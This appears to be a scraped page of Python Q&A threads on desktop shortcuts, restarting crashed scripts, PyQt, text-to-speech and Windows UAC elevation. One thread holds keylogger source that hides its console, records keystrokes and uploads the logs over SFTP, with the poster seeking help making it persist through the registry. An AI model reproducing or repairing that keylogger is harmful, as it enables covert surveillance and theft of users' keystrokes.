Lubuntu Terminal Python Desktop Shortcut - python

So im trying to create a desktop shortcut for a terminal mp3player i made in python. I'm using Lubuntu.
My program looks like this
#!/usr/bin/python
# -*- coding: utf-8 -*-
from __future__ import print_function
import os
import sys
import random
from sys import stdout
from pygame import mixer # Load the required library
class mp3Player(object):
def __init__(self):
self.mix = mixer
self.mix.init()
def play(self, filelist):
for root, mp3file in filelist:
try:
stdout.write(root + '\n')
stdout.write("Playing %s\n"%mp3file)
self.mix.music.load(os.path.join(root, mp3file))
self.mix.music.play()
while self.mix.music.get_busy():
choice = raw_input("[skip, exit, pause, shuffle]\n")
if choice == "skip":
break
elif choice == "pause":
self.mix.music.pause()
raw_input("Press enter to continiue.")
self.mix.music.unpause()
elif choice == "shuffle":
random.shuffle(filelist)
break
elif choice == "exit":
raise KeyboardInterrupt
else:
pass
except KeyboardInterrupt, e:
self.mix.music.stop()
print("User Interrupted")
sys.exit(0)
stdout.flush()
class mp3Files(object):
def __init__(self):
self.mp3player = mp3Player()
self.filelist = []
def search(self):
for root, dirs, files in os.walk(os.getcwd()):
for mp3file in files:
if mp3file.endswith(".mp3"):
self.filelist.append((root, mp3file))
self.mp3player.play(self.filelist)
def main():
mp3 = mp3Files()
mp3.search()
if __name__ == "__main__":
main()
You will need pygame in order to test it and i would recommend to execute it in your music folder because it searches the current directory recursivly for mp3 files and when it's done it plays the list.
However, this is my .desktop file.
[Desktop Entry]
Version=1.0
Name=mp3playa
Comment=Terminal mp3player
Exec=/media/jan/Volume/Musik/mp3playa
TryExec=/media/jan/Volume/Musik/mp3playa
Terminal=true
Categories=Application
Type=Application
GenericName=Simple terminal mp3player
When i double click it, it only opens a terminal without executing the script.
What am i doing wrong? oO
Thanks in advance.
Edit:
The file is executable and i executed
sudo update-desktop-database
and got a warning
Warning in file "/usr/share/applications/gnumeric.desktop": usage of
MIME type "zz-application/zz-winassoc-xls" is discouraged ("zz-
application/zz-winassoc-xls" should be replaced with
"application/vnd.ms-excel")

Finally found what i was missing.
Had to start the lxterminal first with the script as command argument.
Exec=lxterminal --command="/home/jan/Schreibtisch/mp3playa/mp3playa"

Related

Creating a Flag file

I'm relatively new to python so please forgive early level understanding!
I am working to create a kind of flag file. Its job is to monitor a Python executable, the flag file is constantly running and prints "Start" when the executable started, "Running" while it runs and "Stop" when its stopped or crashed, if a crash occurs i want it to be able to restart the script. so far i have this down for the Restart:
from subprocess import run
from time import sleep
# Path and name to the script you are trying to start
file_path = "py"
restart_timer = 2
def start_script():
try:
# Make sure 'python' command is available
run("python "+file_path, check=True)
except:
# Script crashed, lets restart it!
handle_crash()
def handle_crash():
sleep(restart_timer) # Restarts the script after 2 seconds
start_script()
start_script()
how can i implement this along with a flag file?
Not sure what you mean with "flag", but this minimally achieves what you want.
Main file main.py:
import subprocess
import sys
from time import sleep
restart_timer = 2
file_path = 'sub.py' # file name of the other process
def start():
try:
# sys.executable -> same python executable
subprocess.run([sys.executable, file_path], check=True)
except subprocess.CalledProcessError:
sleep(restart_timer)
return True
else:
return False
def main():
print("starting...")
monitor = True
while monitor:
monitor = start()
if __name__ == '__main__':
main()
Then the process that gets spawned, called sub.py:
from time import sleep
sleep(1)
print("doing stuff...")
# comment out to see change
raise ValueError("sub.py is throwing error...")
Put those files into the same directory and run it with python main.py
You can comment out the throwing of the random error to see the main script terminate normally.
On a larger note, this example is not saying it is a good way to achieve the quality you need...

what is the error in my python script that cause an infinite loop

i have a python class that create a window that includes
EditLine
open button
cancel button
where the EditLine will get the userInput that is a path for folder.
the problem is that once i run the script it enter in infinite loop.
code:
'''
1- import the libraries from the converted file
2- import the converted file
'''
from PyQt5 import QtCore, QtGui, QtWidgets
import pathmsgbox
import os
import pathlib
class path_window(pathmsgbox.Ui_PathMSGbox):
def __init__(self,windowObject ):
self.windowObject = windowObject
self.setupUi(windowObject)
self.checkPath(self.pathEditLine.text())
self.windowObject.show()
def checkPath(self, pathOfFile):
folder = self.pathEditLine.text()
while os.path.exists(folder) != True:
print("the specified path not exist")
folder = self.pathEditLine.text()
return folder
'''
get the userInput from the EditLine
'''
'''
def getText(self):
inputUser = self.pathEditLine.text()
print(inputUser)
'''
'''
function that exit from the system after clicking "cancel"
'''
def exit():
sys.exit()
'''
define the methods to run only if this is the main module deing run
the name take __main__ string only if its the main running script and not imported
nor being a child process
'''
if __name__ == "__main__":
import sys
app = QtWidgets.QApplication(sys.argv)
PathMSGbox = QtWidgets.QWidget()
pathUi = path_window(PathMSGbox)
pathUi.pathCancelBtn.clicked.connect(exit)
sys.exit(app.exec_())
The problem here is that you're calling checkPath() in the class initialization.
checkPath() read the path one time, and then start to evaluate if that path is valid 'forever'. This while loop running may even prevent the software to be able to effectively read again the text from self.pathEditLine.
Usually it's better to connect each function to an event:
Check if the folder exist when a button is pressed
Check if the folder exist when the text change
Check if the folder exist when the user press enter
For doing any of these, you have to connect one of these events to the function:
button event:
self.btnMyNewButton.clicked.connect(checkPath)
text changing event:
self.pathEditLine.textChanged.connect(checkPath)
enter button event:
self.pathEditLine.returnPressed.connect(checkPath)
This means that you have to substitute one of the previous lines with the line where you call the checkPath() function in the initialization:
def __init__(self,windowObject ):
self.windowObject = windowObject
self.setupUi(windowObject)
self.pathEditLine.textChanged.connect(checkPath)
self.windowObject.show()
you also have to remove the pathOfFile argument from checkPath(self, checkPath) because you are not using it.
Since we decided a different behaviour for our checkPath() function, we no longer need a while loop: we will be reading the user input each time the event occurs, evaluate the user input, return the user input if we like it or return False if we don't:
def checkPath(self):
folder = str(self.pathEditLine.text())
if os.path.exists(folder):
print '%s is a valid folder' % folder
return folder
else:
print '%s is NOT a valid folder' % folder
return False

How to make my Text-To-Speech program fully portable and usable on every Operating System?

I have a Text-To-Speech program that asks for a user input and then outputs that input as speech. It will then ask if the user wants to convert another input into speech or whether they want to exit the program. At the moment the program will only work on Windows as it is dependent on Windows Media Player to play the text-to-speech file. How could I make it so it plays the file from within Python, and, by extension, works on every operating system? If there are any other parts within the code that would prevent it from running on other Operating Systems, please tell me what they are and how I could change them as well. Thanks!
try:
import os
import time
import sys
import getpass
import pip
import subprocess
from contextlib import contextmanager
my_file = "Text To Speech.mp3"
wmp = "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
media_file = os.path.abspath(os.path.realpath(my_file))
username = getpass.getuser()
#contextmanager
def suppress_output():
with open(os.devnull, "w") as devnull:
old_stdout = sys.stdout
sys.stdout = devnull
try:
yield
finally:
sys.stdout = old_stdout
def check_and_remove_file():
if os.path.isfile(my_file):
os.remove(my_file)
def input_for_tts(message):
tts = gTTS(text = input(message))
tts.save('Text To Speech.mp3')
subprocess.Popen([wmp, media_file])
audio = MP3(my_file)
audio_length = audio.info.length
time.sleep((audio_length) + 2) # Waits for the audio to finish playing before killing it off.
os.system('TASKKILL /F /IM wmplayer.exe')
time.sleep(0.5) # Waits for Windows Media Player to fully close before carrying on.
with suppress_output():
pkgs = ['mutagen', 'gTTS']
for package in pkgs:
if package not in pip.get_installed_distributions():
pip.main(['install', package])
from gtts import gTTS
from mutagen.mp3 import MP3
check_and_remove_file()
input_for_tts("Hello there " + username + """. This program is
used to output the user's input as speech.
Please input something for the program to say: """)
while True:
answer = input("""
Do you want to repeat? (Y/N) """).strip().lower()
if answer in ["yes", "y"]:
input_for_tts("""
Please input something for the program to say: """)
elif answer in ["no", "n"]:
check_and_remove_file()
sys.exit()
else:
print("""
Sorry, I didn't understand that. Please try again with either Y or N.""")
except KeyboardInterrupt:
check_and_remove_file()
print("""
Goodbye!""")
sys.exit()
Instead of using Windows Media Player you can use an audio playing package. An good package that can do this is PyMedia.

Regedit starting program, but not working properly

I am trying to make my keylogger program start up at boot time. I put it in "Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" through regedit. When I open Task Manager, it is in the processes list, but I am not finding the text file it logs to. I am aware of the directory it is in. When I manually start the program, it is there. I am running a 64-bit Windows Ultimate version. I compiled the file to a single executable. This is the script:
try:
import pythoncom, pyHook
except:
print "Please Install pythoncom and pyHook modules"
exit(0)
import os
import sys
import threading
import urllib,urllib2
import smtplib
import ftplib
import datetime,time
import win32event, win32api, winerror
from _winreg import *
#Disallowing Multiple Instance
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
print "Multiple Instance not Allowed"
exit(0)
x=''
data=''
count=0
#Hide Console
def hide():
import win32console,win32gui
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
return True
#Local Keylogger
def local():
global data
if len(data)>100:
fp=open("keylogs.txt","a")
fp.write(data)
fp.close()
data=''
return True
#Upload logs to FTP account
def ftp():
global data,count
if len(data)>100:
count+=1
FILENAME="logs-"+str(count)+".txt"
fp=open(FILENAME,"a")
fp.write(data)
fp.close()
data=''
try:
FILENAME="logs-"+str(count)+".txt"
fp=open(FILENAME,"a")
fp.write(data)
fp.close()
OUTPUT_DIR="/home/"+FILENAME
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('', username='', password='')
ftp = ssh.open_sftp()
ftp.put(FILENAME, OUTPUT_DIR)
ftp.close()
except Exception as e:
print e
return True
def main():
global x
x=1
hide()
return True
if __name__ == '__main__':
main()
def keypressed(event):
global x,data
if event.Ascii==13:
keys='<ENTER>'
elif event.Ascii==8:
keys='<BACK SPACE>'
elif event.Ascii==9:
keys='<TAB>'
else:
keys=chr(event.Ascii)
data=data+keys
if x==1:
local()
elif x==2:
remote()
elif x==4:
ftp()
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()
I have compiled the script to exe with py2exe and pyinstaller with the same results. I also tried putting it in the Startup folder with no luck. The script does not need any administrative rights. I have tried disabling UAC, but no luck their either.

How to run script with elevated privilege on windows

I am writing a pyqt application which require to execute admin task. I would prefer to start my script with elevate privilege. I am aware that this question is asked many times in SO or in other forum. But the solution people are suggesting is to have a look at this SO question
Request UAC elevation from within a Python script?
However, I am unable to execute the sample code given in the link. I have put this code on top of the main file and tried to execute it.
import os
import sys
import win32com.shell.shell as shell
ASADMIN = 'asadmin'
if sys.argv[-1] != ASADMIN:
script = os.path.abspath(sys.argv[0])
params = ' '.join([script] + sys.argv[1:] + [ASADMIN])
shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params)
sys.exit(0)
print "I am root now."
It actually ask permission to elevate but print line never get executed. Somebody can help me to run the above code successfully.
Update as on 19-02-2023
The update to the below script is now alive as a Python package by the same author. You can install it from PyPi which lives at https://pypi.org/project/pyuac/ and the source code/ home page is located at https://github.com/Preston-Landers/pyuac. Install it using:
pip install pyuac
Direct usage of the package is:
import pyuac
def main():
print("Do stuff here that requires being run as an admin.")
# The window will disappear as soon as the program exits!
input("Press enter to close the window. >")
if __name__ == "__main__":
if not pyuac.isUserAdmin():
print("Re-launching as admin!")
pyuac.runAsAdmin()
else:
main() # Already an admin here.
or if you wish to use it using decorater:
from pyuac import main_requires_admin
#main_requires_admin
def main():
print("Do stuff here that requires being run as an admin.")
# The window will disappear as soon as the program exits!
input("Press enter to close the window. >")
if __name__ == "__main__":
main()
Original answer
Thank you all for your reply. I got my script working with the module/ script written by Preston Landers in 2010. After two days of browsing the internet, I could find the script as it was deeply hidden in the pywin32 mailing list. With this script, it is easier to check if the user is admin, and if not then ask for UAC/ admin right. It does provide output in separate windows to find out what the code is doing. An example of how to use the code is also included in the script. For the benefit of all who are looking for UAC on windows have a look at this code. I hope it helps someone looking for the same solution. It can be used something like this from your main script:-
import admin
if not admin.isUserAdmin():
admin.runAsAdmin()
The actual code is:-
#!/usr/bin/env python
# -*- coding: utf-8; mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-
# vim: fileencoding=utf-8 tabstop=4 expandtab shiftwidth=4
# (C) COPYRIGHT © Preston Landers 2010
# Released under the same license as Python 2.6.5
import sys, os, traceback, types
def isUserAdmin():
if os.name == 'nt':
import ctypes
# WARNING: requires Windows XP SP2 or higher!
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
traceback.print_exc()
print "Admin check failed, assuming not an admin."
return False
elif os.name == 'posix':
# Check for root on Posix
return os.getuid() == 0
else:
raise RuntimeError, "Unsupported operating system for this module: %s" % (os.name,)
def runAsAdmin(cmdLine=None, wait=True):
if os.name != 'nt':
raise RuntimeError, "This function is only implemented on Windows."
import win32api, win32con, win32event, win32process
from win32com.shell.shell import ShellExecuteEx
from win32com.shell import shellcon
python_exe = sys.executable
if cmdLine is None:
cmdLine = [python_exe] + sys.argv
elif type(cmdLine) not in (types.TupleType,types.ListType):
raise ValueError, "cmdLine is not a sequence."
cmd = '"%s"' % (cmdLine[0],)
# XXX TODO: isn't there a function or something we can call to massage command line params?
params = " ".join(['"%s"' % (x,) for x in cmdLine[1:]])
cmdDir = ''
showCmd = win32con.SW_SHOWNORMAL
#showCmd = win32con.SW_HIDE
lpVerb = 'runas' # causes UAC elevation prompt.
# print "Running", cmd, params
# ShellExecute() doesn't seem to allow us to fetch the PID or handle
# of the process, so we can't get anything useful from it. Therefore
# the more complex ShellExecuteEx() must be used.
# procHandle = win32api.ShellExecute(0, lpVerb, cmd, params, cmdDir, showCmd)
procInfo = ShellExecuteEx(nShow=showCmd,
fMask=shellcon.SEE_MASK_NOCLOSEPROCESS,
lpVerb=lpVerb,
lpFile=cmd,
lpParameters=params)
if wait:
procHandle = procInfo['hProcess']
obj = win32event.WaitForSingleObject(procHandle, win32event.INFINITE)
rc = win32process.GetExitCodeProcess(procHandle)
#print "Process handle %s returned code %s" % (procHandle, rc)
else:
rc = None
return rc
def test():
rc = 0
if not isUserAdmin():
print "You're not an admin.", os.getpid(), "params: ", sys.argv
#rc = runAsAdmin(["c:\\Windows\\notepad.exe"])
rc = runAsAdmin()
else:
print "You are an admin!", os.getpid(), "params: ", sys.argv
rc = 0
x = raw_input('Press Enter to exit.')
return rc
if __name__ == "__main__":
sys.exit(test())
in comments to the answer you took the code from someone says ShellExecuteEx doesn't post its STDOUT back to the originating shell. so you will not see "I am root now", even though the code is probably working fine.
instead of printing something, try writing to a file:
import os
import sys
import win32com.shell.shell as shell
ASADMIN = 'asadmin'
if sys.argv[-1] != ASADMIN:
script = os.path.abspath(sys.argv[0])
params = ' '.join([script] + sys.argv[1:] + [ASADMIN])
shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params)
sys.exit(0)
with open("somefilename.txt", "w") as out:
print >> out, "i am root"
and then look in the file.
I found a very easy solution to this problem.
Create a shortcut for python.exe
Change the shortcut target into something like C:\xxx\...\python.exe your_script.py
Click "advance..." in the property panel of the shortcut, and click the option "run as administrator"
I'm not sure whether the spells of these options are right, since I'm using Chinese version of Windows.
Here is a solution which needed ctypes module only. Support pyinstaller wrapped program.
#!python
# coding: utf-8
import sys
import ctypes
def run_as_admin(argv=None, debug=False):
shell32 = ctypes.windll.shell32
if argv is None and shell32.IsUserAnAdmin():
return True
if argv is None:
argv = sys.argv
if hasattr(sys, '_MEIPASS'):
# Support pyinstaller wrapped program.
arguments = map(unicode, argv[1:])
else:
arguments = map(unicode, argv)
argument_line = u' '.join(arguments)
executable = unicode(sys.executable)
if debug:
print 'Command line: ', executable, argument_line
ret = shell32.ShellExecuteW(None, u"runas", executable, argument_line, None, 1)
if int(ret) <= 32:
return False
return None
if __name__ == '__main__':
ret = run_as_admin()
if ret is True:
print 'I have admin privilege.'
raw_input('Press ENTER to exit.')
elif ret is None:
print 'I am elevating to admin privilege.'
raw_input('Press ENTER to exit.')
else:
print 'Error(ret=%d): cannot elevate privilege.' % (ret, )
Here is a solution with an stdout redirection:
def elevate():
import ctypes, win32com.shell.shell, win32event, win32process
outpath = r'%s\%s.out' % (os.environ["TEMP"], os.path.basename(__file__))
if ctypes.windll.shell32.IsUserAnAdmin():
if os.path.isfile(outpath):
sys.stderr = sys.stdout = open(outpath, 'w', 0)
return
with open(outpath, 'w+', 0) as outfile:
hProc = win32com.shell.shell.ShellExecuteEx(lpFile=sys.executable, \
lpVerb='runas', lpParameters=' '.join(sys.argv), fMask=64, nShow=0)['hProcess']
while True:
hr = win32event.WaitForSingleObject(hProc, 40)
while True:
line = outfile.readline()
if not line: break
sys.stdout.write(line)
if hr != 0x102: break
os.remove(outpath)
sys.stderr = ''
sys.exit(win32process.GetExitCodeProcess(hProc))
if __name__ == '__main__':
elevate()
main()
It worth mentioning that if you intend to package your application with PyInstaller and wish to avoid supporting that feature by yourself, you can pass the --uac-admin or --uac-uiaccess argument in order to request UAC elevation on start.
make a batch file
add python.exe "(your py file here)" with the quotation marks
save the batch file
right click, then click run as administrator
Also if your working directory is different than you can use lpDirectory
procInfo = ShellExecuteEx(nShow=showCmd,
lpVerb=lpVerb,
lpFile=cmd,
lpDirectory= unicode(direc),
lpParameters=params)
Will come handy if changing the path is not a desirable option
remove unicode for python 3.X
This worked for me:
import win32com.client as client
required_command = "cmd" # Enter your command here
required_password = "Simple1" # Enter your password here
def run_as(required_command, required_password):
shell = client.Dispatch("WScript.shell")
shell.Run(f"runas /user:administrator {required_command}")
time.sleep(1)
shell.SendKeys(f"{required_password}\r\n", 0)
if __name__ = '__main__':
run_as(required_command, required_password)
Below are the references I used for above code:
https://win32com.goermezer.de/microsoft/windows/controlling-applications-via-sendkeys.html
https://www.oreilly.com/library/view/python-cookbook/0596001673/ch07s16.html
Use pyuac
it is the update to the orignal admin Script by Preston Landers
Link to python Projects: https://pypi.org/project/pyuac/
Github: https://github.com/Preston-Landers/pyuac
This worked for me it
from pyuac import main_requires_admin
#main_requires_admin
def main():
print("Do stuff here that requires being run as an admin.")
# The window will disappear as soon as the program exits!
input("Press enter to close the window. >")
if __name__ == "__main__":
main()
JetBrains' WinElevator (signed elevator.exe and launcher.exe available here) allows you to spawn a subprocess that requests elevated privileges while keeping stdin/stdout/stderr intact:
import ctypes
import subprocess
import sys
if not ctypes.windll.shell32.IsUserAnAdmin():
print("not an admin, restarting...")
subprocess.run(["launcher.exe", sys.executable, *sys.argv])
else:
print("I'm an admin now.")
> python example.py
not an admin, restarting...
# UAC prompt is shown
I'm an admin now.
I can confirm that the solution by delphifirst works and is the easiest, simplest solution to the problem of running a python script with elevated privileges.
I created a shortcut to the python executable (python.exe) and then modified the shortcut by adding my script's name after the call to python.exe. Next I checked "run as administrator" on the "compatibility tab" of the shortcut. When the shortcut is executed, you get a prompt asking permission to run the script as an administrator.
My particular python application was an installer program. The program allows installing and uninstalling another python app. In my case I created two shortcuts, one named "appname install" and the other named "appname uninstall". The only difference between the two shortcuts is the argument following the python script name. In the installer version the argument is "install". In the uninstall version the argument is "uninstall". Code in the installer script evaluates the argument supplied and calls the appropriate function (install or uninstall) as needed.
I hope my explanation helps others more quickly figure out how to run a python script with elevated privileges.
Make sure you have python in path,if not,win key + r, type in "%appdata%"(without the qotes) open local directory, then go to Programs directory ,open python and then select your python version directory. Click on file tab and select copy path and close file explorer.
Then do win key + r again, type control and hit enter. search for environment variables. click on the result, you will get a window. In the bottom right corner click on environmental variables. In the system side find path, select it and click on edit.
In the new window, click on new and paste the path in there. Click ok and then apply in the first window. Restart your PC. Then do win + r for the last time, type cmd and do ctrl + shift + enter. Grant the previliges and open file explorer, goto your script and copy its path. Go back into cmd , type in "python" and paste the path and hit enter. Done
I wanted a more enhanced version so I ended up with a module which allows:
UAC request if needed, printing and logging from nonprivileged instance (uses ipc and a network port) and some other candies. usage is just insert elevateme() in your script: in nonprivileged it listen for privileged print/logs and then exits returning false, in privileged instance it returns true immediately.
Supports pyinstaller.
prototype:
# xlogger : a logger in the server/nonprivileged script
# tport : open port of communication, 0 for no comm [printf in nonprivileged window or silent]
# redir : redirect stdout and stderr from privileged instance
#errFile : redirect stderr to file from privileged instance
def elevateme(xlogger=None, tport=6000, redir=True, errFile=False):
winadmin.py
#!/usr/bin/env python
# -*- coding: utf-8; mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-
# vim: fileencoding=utf-8 tabstop=4 expandtab shiftwidth=4
# (C) COPYRIGHT © Preston Landers 2010
# (C) COPYRIGHT © Matteo Azzali 2020
# Released under the same license as Python 2.6.5/3.7
import sys, os
from traceback import print_exc
from multiprocessing.connection import Listener, Client
import win32event #win32com.shell.shell, win32process
import builtins as __builtin__ # python3
# debug suffixes for remote printing
dbz=["","","",""] #["J:","K:", "G:", "D:"]
LOGTAG="LOGME:"
wrconn = None
#fake logger for message sending
class fakelogger:
def __init__(self, xlogger=None):
self.lg = xlogger
def write(self, a):
global wrconn
if wrconn is not None:
wrconn.send(LOGTAG+a)
elif self.lg is not None:
self.lg.write(a)
else:
print(LOGTAG+a)
class Writer():
wzconn=None
counter = 0
def __init__(self, tport=6000,authkey=b'secret password'):
global wrconn
if wrconn is None:
address = ('localhost', tport)
try:
wrconn = Client(address, authkey=authkey)
except:
wrconn = None
wzconn = wrconn
self.wrconn = wrconn
self.__class__.counter+=1
def __del__(self):
self.__class__.counter-=1
if self.__class__.counter == 0 and wrconn is not None:
import time
time.sleep(0.1) # slows deletion but is enough to print stderr
wrconn.send('close')
wrconn.close()
def sendx(cls, mesg):
cls.wzconn.send(msg)
def sendw(self, mesg):
self.wrconn.send(msg)
#fake file to be passed as stdout and stderr
class connFile():
def __init__(self, thekind="out", tport=6000):
self.cnt = 0
self.old=""
self.vg=Writer(tport)
if thekind == "out":
self.kind=sys.__stdout__
else:
self.kind=sys.__stderr__
def write(self, *args, **kwargs):
global wrconn
global dbz
from io import StringIO # # Python2 use: from cStringIO import StringIO
mystdout = StringIO()
self.cnt+=1
__builtin__.print(*args, **kwargs, file=mystdout, end = '')
#handles "\n" wherever it is, however usually is or string or \n
if "\n" not in mystdout.getvalue():
if mystdout.getvalue() != "\n":
#__builtin__.print("A:",mystdout.getvalue(), file=self.kind, end='')
self.old += mystdout.getvalue()
else:
#__builtin__.print("B:",mystdout.getvalue(), file=self.kind, end='')
if wrconn is not None:
wrconn.send(dbz[1]+self.old)
else:
__builtin__.print(dbz[2]+self.old+ mystdout.getvalue(), file=self.kind, end='')
self.kind.flush()
self.old=""
else:
vv = mystdout.getvalue().split("\n")
#__builtin__.print("V:",vv, file=self.kind, end='')
for el in vv[:-1]:
if wrconn is not None:
wrconn.send(dbz[0]+self.old+el)
self.old = ""
else:
__builtin__.print(dbz[3]+self.old+ el+"\n", file=self.kind, end='')
self.kind.flush()
self.old=""
self.old=vv[-1]
def open(self):
pass
def close(self):
pass
def flush(self):
pass
def isUserAdmin():
if os.name == 'nt':
import ctypes
# WARNING: requires Windows XP SP2 or higher!
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
traceback.print_exc()
print ("Admin check failed, assuming not an admin.")
return False
elif os.name == 'posix':
# Check for root on Posix
return os.getuid() == 0
else:
print("Unsupported operating system for this module: %s" % (os.name,))
exit()
#raise (RuntimeError, "Unsupported operating system for this module: %s" % (os.name,))
def runAsAdmin(cmdLine=None, wait=True, hidden=False):
if os.name != 'nt':
raise (RuntimeError, "This function is only implemented on Windows.")
import win32api, win32con, win32process
from win32com.shell.shell import ShellExecuteEx
python_exe = sys.executable
arb=""
if cmdLine is None:
cmdLine = [python_exe] + sys.argv
elif not isinstance(cmdLine, (tuple, list)):
if isinstance(cmdLine, (str)):
arb=cmdLine
cmdLine = [python_exe] + sys.argv
print("original user", arb)
else:
raise( ValueError, "cmdLine is not a sequence.")
cmd = '"%s"' % (cmdLine[0],)
params = " ".join(['"%s"' % (x,) for x in cmdLine[1:]])
if len(arb) > 0:
params += " "+arb
cmdDir = ''
if hidden:
showCmd = win32con.SW_HIDE
else:
showCmd = win32con.SW_SHOWNORMAL
lpVerb = 'runas' # causes UAC elevation prompt.
# print "Running", cmd, params
# ShellExecute() doesn't seem to allow us to fetch the PID or handle
# of the process, so we can't get anything useful from it. Therefore
# the more complex ShellExecuteEx() must be used.
# procHandle = win32api.ShellExecute(0, lpVerb, cmd, params, cmdDir, showCmd)
procInfo = ShellExecuteEx(nShow=showCmd,
fMask=64,
lpVerb=lpVerb,
lpFile=cmd,
lpParameters=params)
if wait:
procHandle = procInfo['hProcess']
obj = win32event.WaitForSingleObject(procHandle, win32event.INFINITE)
rc = win32process.GetExitCodeProcess(procHandle)
#print "Process handle %s returned code %s" % (procHandle, rc)
else:
rc = procInfo['hProcess']
return rc
# xlogger : a logger in the server/nonprivileged script
# tport : open port of communication, 0 for no comm [printf in nonprivileged window or silent]
# redir : redirect stdout and stderr from privileged instance
#errFile : redirect stderr to file from privileged instance
def elevateme(xlogger=None, tport=6000, redir=True, errFile=False):
global dbz
if not isUserAdmin():
print ("You're not an admin.", os.getpid(), "params: ", sys.argv)
import getpass
uname = getpass.getuser()
if (tport> 0):
address = ('localhost', tport) # family is deduced to be 'AF_INET'
listener = Listener(address, authkey=b'secret password')
rc = runAsAdmin(uname, wait=False, hidden=True)
if (tport> 0):
hr = win32event.WaitForSingleObject(rc, 40)
conn = listener.accept()
print ('connection accepted from', listener.last_accepted)
sys.stdout.flush()
while True:
msg = conn.recv()
# do something with msg
if msg == 'close':
conn.close()
break
else:
if msg.startswith(dbz[0]+LOGTAG):
if xlogger != None:
xlogger.write(msg[len(LOGTAG):])
else:
print("Missing a logger")
else:
print(msg)
sys.stdout.flush()
listener.close()
else: #no port connection, its silent
WaitForSingleObject(rc, INFINITE);
return False
else:
#redirect prints stdout on master, errors in error.txt
print("HIADM")
sys.stdout.flush()
if (tport > 0) and (redir):
vox= connFile(tport=tport)
sys.stdout=vox
if not errFile:
sys.stderr=vox
else:
vfrs=open("errFile.txt","w")
sys.stderr=vfrs
#print("HI ADMIN")
return True
def test():
rc = 0
if not isUserAdmin():
print ("You're not an admin.", os.getpid(), "params: ", sys.argv)
sys.stdout.flush()
#rc = runAsAdmin(["c:\\Windows\\notepad.exe"])
rc = runAsAdmin()
else:
print ("You are an admin!", os.getpid(), "params: ", sys.argv)
rc = 0
x = raw_input('Press Enter to exit.')
return rc
if __name__ == "__main__":
sys.exit(test())

Categories